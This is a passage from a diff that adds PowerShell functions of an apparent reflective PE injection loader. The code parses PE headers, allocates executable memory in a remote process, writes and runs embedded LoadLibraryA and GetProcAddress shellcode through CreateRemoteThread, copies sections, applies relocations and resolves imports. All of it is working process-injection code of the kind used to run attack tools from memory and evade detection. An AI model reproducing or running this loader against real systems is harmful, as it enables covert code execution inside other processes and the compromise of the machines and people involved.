PE to memory temporarily so I can get information from it. This is not it's final resting spot. + [IntPtr]$UnmanagedPEBytes = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PEBytes.Length) + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $UnmanagedPEBytes, $PEBytes.Length) | Out-Null + + #Get NtHeadersInfo + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $UnmanagedPEBytes -Win32Types $Win32Types + + #Build a structure with the information which will be needed for allocating memory and writing the PE to memory + $PEInfo | Add-Member -MemberType NoteProperty -Name 'PE64Bit' -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'OriginalImageBase' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.ImageBase) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfHeaders' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfHeaders) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'DllCharacteristics' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.DllCharacteristics) + + #Free the memory allocated above, this isn't where we allocate the PE to memory + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($UnmanagedPEBytes) + + return $PEInfo + } + + + #PEInfo must contain the following NoteProperties: + # PEHandle: An IntPtr to the address the PE is loaded to in memory + Function Get-PEDetailedInfo + { + Param( + [Parameter( Position = 0, Mandatory = $true)] + [IntPtr] + $PEHandle, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants + ) + + if ($PEHandle -eq $null -or $PEHandle -eq [IntPtr]::Zero) + { + throw 'PEHandle is null or IntPtr.Zero' + } + + $PEInfo = New-Object System.Object + + #Get NtHeaders information + $NtHeadersInfo = Get-ImageNtHeaders -PEHandle $PEHandle -Win32Types $Win32Types + + #Build the PEInfo object + $PEInfo | Add-Member -MemberType NoteProperty -Name PEHandle -Value $PEHandle + $PEInfo | Add-Member -MemberType NoteProperty -Name IMAGE_NT_HEADERS -Value ($NtHeadersInfo.IMAGE_NT_HEADERS) + $PEInfo | Add-Member -MemberType NoteProperty -Name NtHeadersPtr -Value ($NtHeadersInfo.NtHeadersPtr) + $PEInfo | Add-Member -MemberType NoteProperty -Name PE64Bit -Value ($NtHeadersInfo.PE64Bit) + $PEInfo | Add-Member -MemberType NoteProperty -Name 'SizeOfImage' -Value ($NtHeadersInfo.IMAGE_NT_HEADERS.OptionalHeader.SizeOfImage) + + if ($PEInfo.PE64Bit -eq $true) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS64))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + else + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.NtHeadersPtr) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_NT_HEADERS32))) + $PEInfo | Add-Member -MemberType NoteProperty -Name SectionHeaderPtr -Value $SectionHeaderPtr + } + + if (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_DLL) -eq $Win32Constants.IMAGE_FILE_DLL) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'DLL' + } + elseif (($NtHeadersInfo.IMAGE_NT_HEADERS.FileHeader.Characteristics -band $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) -eq $Win32Constants.IMAGE_FILE_EXECUTABLE_IMAGE) + { + $PEInfo | Add-Member -MemberType NoteProperty -Name FileType -Value 'EXE' + } + else + { + Throw "PE file is not an EXE or DLL" + } + + return $PEInfo + } + + + Function Import-DllInRemoteProcess + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $ImportDllPathPtr + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + $DllPathSize = [UIntPtr][UInt64]([UInt64]$ImportDllPath.Length + 1) + $RImportDllPathPtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RImportDllPathPtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RImportDllPathPtr, $ImportDllPathPtr, $DllPathSize, [Ref]$NumBytesWritten) + + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($DllPathSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $LoadLibraryAAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "LoadLibraryA") #Kernel32 loaded to the same address for all processes + + [IntPtr]$DllAddress = [IntPtr]::Zero + #For 64bit DLL's, we can't use just CreateRemoteThread to call LoadLibrary because GetExitCodeThread will only give back a 32bit value, but we need a 64bit address + # Instead, write shellcode while calls LoadLibrary and writes the result to a memory address we specify. Then read from that memory once the thread finishes. + if ($PEInfo.PE64Bit -eq $true) + { + #Allocate memory for the address returned by LoadLibraryA + $LoadLibraryARetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $DllPathSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($LoadLibraryARetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of LoadLibraryA" + } + + + #Write Shellcode to the remote process which will call LoadLibraryA (Shellcode: LoadLibraryA.asm) + $LoadLibrarySC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $LoadLibrarySC2 = @(0x48, 0xba) + $LoadLibrarySC3 = @(0xff, 0xd2, 0x48, 0xba) + $LoadLibrarySC4 = @(0x48, 0x89, 0x02, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + + $SCLength = $LoadLibrarySC1.Length + $LoadLibrarySC2.Length + $LoadLibrarySC3.Length + $LoadLibrarySC4.Length + ($PtrSize * 3) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $LoadLibrarySC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RImportDllPathPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryAAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($LoadLibraryARetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $LoadLibrarySC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($LoadLibrarySC4.Length) + + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The shellcode writes the DLL address to memory in the remote process at address $LoadLibraryARetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $LoadLibraryARetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if ($Result -eq $false) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$DllAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $LoadLibraryARetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + else + { + [IntPtr]$RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $LoadLibraryAAddr -ArgumentPtr $RImportDllPathPtr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + [Int32]$ExitCode = 0 + $Result = $Win32Functions.GetExitCodeThread.Invoke($RThreadHandle, [Ref]$ExitCode) + if (($Result -eq 0) -or ($ExitCode -eq 0)) + { + Throw "Call to GetExitCodeThread failed" + } + + [IntPtr]$DllAddress = [IntPtr]$ExitCode + } + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RImportDllPathPtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $DllAddress + } + + + Function Get-RemoteProcAddress + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $RemoteProcHandle, + + [Parameter(Position=1, Mandatory=$true)] + [IntPtr] + $RemoteDllHandle, + + [Parameter(Position=2, Mandatory=$true)] + [String] + $FunctionName + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + $FunctionNamePtr = [System.Runtime.InteropServices.Marshal]::StringToHGlobalAnsi($FunctionName) + + #Write FunctionName to memory (will be used in GetProcAddress) + $FunctionNameSize = [UIntPtr][UInt64]([UInt64]$FunctionName.Length + 1) + $RFuncNamePtr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, $FunctionNameSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($RFuncNamePtr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process" + } + + [UIntPtr]$NumBytesWritten = [UIntPtr]::Zero + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RFuncNamePtr, $FunctionNamePtr, $FunctionNameSize, [Ref]$NumBytesWritten) + [System.Runtime.InteropServices.Marshal]::FreeHGlobal($FunctionNamePtr) + if ($Success -eq $false) + { + Throw "Unable to write DLL path to remote process memory" + } + if ($FunctionNameSize -ne $NumBytesWritten) + { + Throw "Didn't write the expected amount of bytes when writing a DLL path to load to the remote process" + } + + #Get address of GetProcAddress + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $GetProcAddressAddr = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "GetProcAddress") #Kernel32 loaded to the same address for all processes + + + #Allocate memory for the address returned by GetProcAddress + $GetProcAddressRetMem = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UInt64][UInt64]$PtrSize, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + if ($GetProcAddressRetMem -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for the return value of GetProcAddress" + } + + + #Write Shellcode to the remote process which will call GetProcAddress + #Shellcode: GetProcAddress.asm + #todo: need to have detection for when to get by ordinal + [Byte[]]$GetProcAddressSC = @() + if ($PEInfo.PE64Bit -eq $true) + { + $GetProcAddressSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x48, 0x83, 0xec, 0x20, 0x66, 0x83, 0xe4, 0xc0, 0x48, 0xb9) + $GetProcAddressSC2 = @(0x48, 0xba) + $GetProcAddressSC3 = @(0x48, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0x48, 0xb9) + $GetProcAddressSC5 = @(0x48, 0x89, 0x01, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + $GetProcAddressSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xc0, 0xb8) + $GetProcAddressSC2 = @(0xb9) + $GetProcAddressSC3 = @(0x51, 0x50, 0xb8) + $GetProcAddressSC4 = @(0xff, 0xd0, 0xb9) + $GetProcAddressSC5 = @(0x89, 0x01, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $GetProcAddressSC1.Length + $GetProcAddressSC2.Length + $GetProcAddressSC3.Length + $GetProcAddressSC4.Length + $GetProcAddressSC5.Length + ($PtrSize * 4) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem + + Write-BytesToMemory -Bytes $GetProcAddressSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RemoteDllHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($RFuncNamePtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC3.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressAddr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC4 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC4.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($GetProcAddressRetMem, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $GetProcAddressSC5 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($GetProcAddressSC5.Length) + + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } + + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } + + #The process address is written to memory in the remote process at address $GetProcAddressRetMem, read this memory + [IntPtr]$ReturnValMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($PtrSize) + $Result = $Win32Functions.ReadProcessMemory.Invoke($RemoteProcHandle, $GetProcAddressRetMem, $ReturnValMem, [UIntPtr][UInt64]$PtrSize, [Ref]$NumBytesWritten) + if (($Result -eq $false) -or ($NumBytesWritten -eq 0)) + { + Throw "Call to ReadProcessMemory failed" + } + [IntPtr]$ProcAddress = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ReturnValMem, [Type][IntPtr]) + + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RFuncNamePtr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $GetProcAddressRetMem, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + + return $ProcAddress + } + + + Function Copy-Sections + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + for( $i = 0; $i -lt $PEInfo.IMAGE_NT_HEADERS.FileHeader.NumberOfSections; $i++) + { + [IntPtr]$SectionHeaderPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.SectionHeaderPtr) ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_SECTION_HEADER))) + $SectionHeader = [System.Runtime.InteropServices.Marshal]::PtrToStructure($SectionHeaderPtr, [Type]$Win32Types.IMAGE_SECTION_HEADER) + + #Address to copy the section to + [IntPtr]$SectionDestAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$SectionHeader.VirtualAddress)) + + #SizeOfRawData is the size of the data on disk, VirtualSize is the minimum space that can be allocated + # in memory for the section. If VirtualSize > SizeOfRawData, pad the extra spaces with 0. If + # SizeOfRawData > VirtualSize, it is because the section stored on disk has padding that we can throw away, + # so truncate SizeOfRawData to VirtualSize + $SizeOfRawData = $SectionHeader.SizeOfRawData + + if ($SectionHeader.PointerToRawData -eq 0) + { + $SizeOfRawData = 0 + } + + if ($SizeOfRawData -gt $SectionHeader.VirtualSize) + { + $SizeOfRawData = $SectionHeader.VirtualSize + } + + if ($SizeOfRawData -gt 0) + { + Test-MemoryRangeValid -DebugString "Copy-Sections::MarshalCopy" -PEInfo $PEInfo -StartAddress $SectionDestAddr -Size $SizeOfRawData | Out-Null + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, [Int32]$SectionHeader.PointerToRawData, $SectionDestAddr, $SizeOfRawData) + } + + #If SizeOfRawData is less than VirtualSize, set memory to 0 for the extra space + if ($SectionHeader.SizeOfRawData -lt $SectionHeader.VirtualSize) + { + $Difference = $SectionHeader.VirtualSize - $SizeOfRawData + [IntPtr]$StartAddress = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$SectionDestAddr) ([Int64]$SizeOfRawData)) + Test-MemoryRangeValid -DebugString "Copy-Sections::Memset" -PEInfo $PEInfo -StartAddress $StartAddress -Size $Difference | Out-Null + $Win32Functions.memset.Invoke($StartAddress, 0, [IntPtr]$Difference) | Out-Null + } + } + } + + + Function Update-MemoryAddresses + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [Int64] + $OriginalImageBase, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Types + ) + + [Int64]$BaseDifference = 0 + $AddDifference = $true #Track if the difference variable should be added or subtracted from variables + [UInt32]$ImageBaseRelocSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type]$Win32Types.IMAGE_BASE_RELOCATION) + + #If the PE was loaded to its expected address or there are no entries in the BaseRelocationTable, nothing to do + if (($OriginalImageBase -eq [Int64]$PEInfo.EffectivePEHandle) ` + -or ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.Size -eq 0)) + { + return + } + + + elseif ((Compare-Val1GreaterThanVal2AsUInt ($OriginalImageBase) ($PEInfo.EffectivePEHandle)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($OriginalImageBase) ($PEInfo.EffectivePEHandle) + $AddDifference = $false + } + elseif ((Compare-Val1GreaterThanVal2AsUInt ($PEInfo.EffectivePEHandle) ($OriginalImageBase)) -eq $true) + { + $BaseDifference = Sub-SignedIntAsUnsigned ($PEInfo.EffectivePEHandle) ($OriginalImageBase) + } + + #Use the IMAGE_BASE_RELOCATION structure to find memory addresses which need to be modified + [IntPtr]$BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.BaseRelocationTable.VirtualAddress)) + while($true) + { + #If SizeOfBlock == 0, we are done + $BaseRelocationTable = [System.Runtime.InteropServices.Marshal]::PtrToStructure($BaseRelocPtr, [Type]$Win32Types.IMAGE_BASE_RELOCATION) + + if ($BaseRelocationTable.SizeOfBlock -eq 0) + { + break + } + + [IntPtr]$MemAddrBase = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$BaseRelocationTable.VirtualAddress)) + $NumRelocations = ($BaseRelocationTable.SizeOfBlock - $ImageBaseRelocSize) / 2 + + #Loop through each relocation + for($i = 0; $i -lt $NumRelocations; $i++) + { + #Get info for this relocation + $RelocationInfoPtr = [IntPtr](Add-SignedIntAsUnsigned ([IntPtr]$BaseRelocPtr) ([Int64]$ImageBaseRelocSize + (2 * $i))) + [UInt16]$RelocationInfo = [System.Runtime.InteropServices.Marshal]::PtrToStructure($RelocationInfoPtr, [Type][UInt16]) + + #First 4 bits is the relocation type, last 12 bits is the address offset from $MemAddrBase + [UInt16]$RelocOffset = $RelocationInfo -band 0x0FFF + [UInt16]$RelocType = $RelocationInfo -band 0xF000 + for ($j = 0; $j -lt 12; $j++) + { + $RelocType = [Math]::Floor($RelocType / 2) + } + + #For DLL's there are two types of relocations used according to the following MSDN article. One for 64bit and one for 32bit. + #This appears to be true for EXE's as well. + # Site: http://msdn.microsoft.com/en-us/magazine/cc301808.aspx + if (($RelocType -eq $Win32Constants.IMAGE_REL_BASED_HIGHLOW) ` + -or ($RelocType -eq $Win32Constants.IMAGE_REL_BASED_DIR64)) + { + #Get the current memory address and update it based off the difference between PE expected base address and actual base address + [IntPtr]$FinalAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$MemAddrBase) ([Int64]$RelocOffset)) + [IntPtr]$CurrAddr = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FinalAddr, [Type][IntPtr]) + + if ($AddDifference -eq $true) + { + [IntPtr]$CurrAddr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + else + { + [IntPtr]$CurrAddr = [IntPtr](Sub-SignedIntAsUnsigned ([Int64]$CurrAddr) ($BaseDifference)) + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($CurrAddr, $FinalAddr, $false) | Out-Null + } + elseif ($RelocType -ne $Win32Constants.IMAGE_REL_BASED_ABSOLUTE) + { + #IMAGE_REL_BASED_ABSOLUTE is just used for padding, we don't actually do anything with it + Throw "Unknown relocation found, relocation value: $RelocType, relocationinfo: $RelocationInfo" + } + } + + $BaseRelocPtr = [IntPtr](Add-SignedIntAsUnsigned ([Int64]$BaseRelocPtr) ([Int64]$BaseRelocationTable.SizeOfBlock)) + } + } + + + Function Import-DllImports + { + Param( + [Parameter(Position = 0, Mandatory = $true)] + [System.Object] + $PEInfo, + + [Parameter(Position = 1, Mandatory = $true)] + [System.Object] + $Win32Functions, + + [Parameter(Position = 2, Mandatory = $true)] + [System.Object] + $Win32Types, + + [Parameter(Position = 3, Mandatory = $true)] + [System.Object] + $Win32Constants, + + [Parameter(Position = 4, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $RemoteLoading = $false + if ($PEInfo.PEHandle -ne $PEInfo.EffectivePEHandle) + { + $RemoteLoading = $true + } + + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) + + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done importing DLL imports" + break + } + + $ImportDllHandle = [IntPtr]::Zero + $ImportDllPathPtr = (Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name)) + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($ImportDllPathPtr) + + if ($RemoteLoading -eq $true) + { + $ImportDllHandle = Import-DllInRemoteProcess -RemoteProcHandle $RemoteProcHandle -ImportDllPathPtr $ImportDllPathPtr + } + else + { + $ImportDllHandle = $Win32Functions.LoadLibrary.Invoke($ImportDllPath) + } + + if (($ImportDllHandle -eq $null) -or ($ImportDllHandle -eq [IntPtr]::Zero)) + { + throw "Error importing DLL, DLLName: $ImportDllPath" + } + + #Get the first thunk, then loop through all of them + [IntPtr]$ThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.FirstThunk) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($ImportDescriptor.Characteristics) #Characteristics is overloaded with OriginalFirstThunk + [IntPtr]$OriginalThunkRefVal = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OriginalThunkRef, [Type][IntPtr]) + + while ($OriginalThunkRefVal -ne [IntPtr]::Zero) + { + $ProcedureName = '' + #Compare thunkRefVal to IMAGE_ORDINAL_FLAG, which is defined as 0x80000000 or 0x8000000000000000 depending on 32bit or 64bit + # If the top bit is set on an int, it will be negative, so instead of worrying about casting this to uint + # and doing the comparison, just see if it is less than 0 + [IntPtr]$NewThunkRef = [IntPtr]::Zero + if([Int64]$OriginalThunkRefVal -lt 0) + { + $ProcedureName = [Int64]$OriginalThunkRefVal -band 0xffff #This is actually a lookup by ordinal + } + else + { + [IntPtr]$StringAddr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($OriginalThunkRefVal) + $StringAddr = Add-SignedIntAsUnsigned $StringAddr ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16])) + $ProcedureName = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($StringAddr) + } + + if ($RemoteLoading -eq $true) + { + [IntPtr]$NewThunkRef = Get-RemoteProcAddress -RemoteProcHandle $RemoteProcHandle -RemoteDllHandle $ImportDllHandle -FunctionName $ProcedureName + } + else + { + [IntPtr]$NewThunkRef = $Win32Functions.GetProcAddress.Invoke($ImportDllHandle, $ProcedureName) + } + + if ($NewThunkRef -eq $null -or $NewThunkRef -eq [IntPtr]::Zero) + { + Throw "New function reference is null, this is almost certainly a bug in this script. Function: $ProcedureName. Dll: $ImportDllPath" + } + + [System.Runtime.InteropServices.Marshal]::StructureToPtr($NewThunkRef, $ThunkRef, $false) + + $ThunkRef = Add-SignedIntAsUnsigned ([Int64]$ThunkRef) ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr])) + [IntPtr]$OriginalThunkRef = Add-SignedIntAsUnsigned ([Int64]$OriginalThunkRef) 